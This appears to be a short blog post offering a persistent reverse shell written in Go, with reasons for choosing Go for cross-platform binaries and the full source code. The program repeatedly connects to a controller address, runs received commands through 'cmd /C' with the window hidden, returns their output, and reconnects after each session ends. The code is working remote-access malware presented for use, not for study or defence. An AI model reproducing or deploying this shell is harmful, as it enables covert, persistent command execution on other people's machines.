Github repo
Why Golang?
'coz I don't know C
- Cross platform
absolutely so! I only need to specify a target system/arch, and Go will compile it for me no matter what system I am using to compile
guess what? if you choose C, you will need different shell for unix and Windows (which requires winsock2.h
), with Golang, you just use Golang's built-in library, they will all be statically linked to produce your executable, which means your binary will run on any system without having to worry about if your target has the libs you need
- Easy to code in
At least easier than C, I think
What does it do?
I assume you already know what a reverse shell do, this thing does the same thing, plus:
- Never stops sending you shell until you accept the shell it sends to you
- When you leave your session, this shell will start sending shell again
Show me the code!
package main
import (
"os/exec"
"net"
"syscall"
"bufio"
"time"
)
func reverseshell(addr string){
chk_conn:
// make sure the master is online
for{
c, e := net.Dial("tcp", addr)
if e != nil {
time.Sleep(3 * time.Second)
} else {
c.Close()
break
}
}
// now send out our shell
conn,_:= net.Dial("tcp", addr)
for{
status, disconn := bufio.NewReader(conn).ReadString('\n');
if disconn != nil {
goto chk_conn
break
}
cmd := exec.Command("cmd", "/C", status)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
out, _ := cmd.Output();
conn.Write([]byte(out))
}
}
func main() {
var master_ip string
master_ip = "127.0.0.1:443"
reverseshell(master_ip)
}
Comments
comments powered by Disqus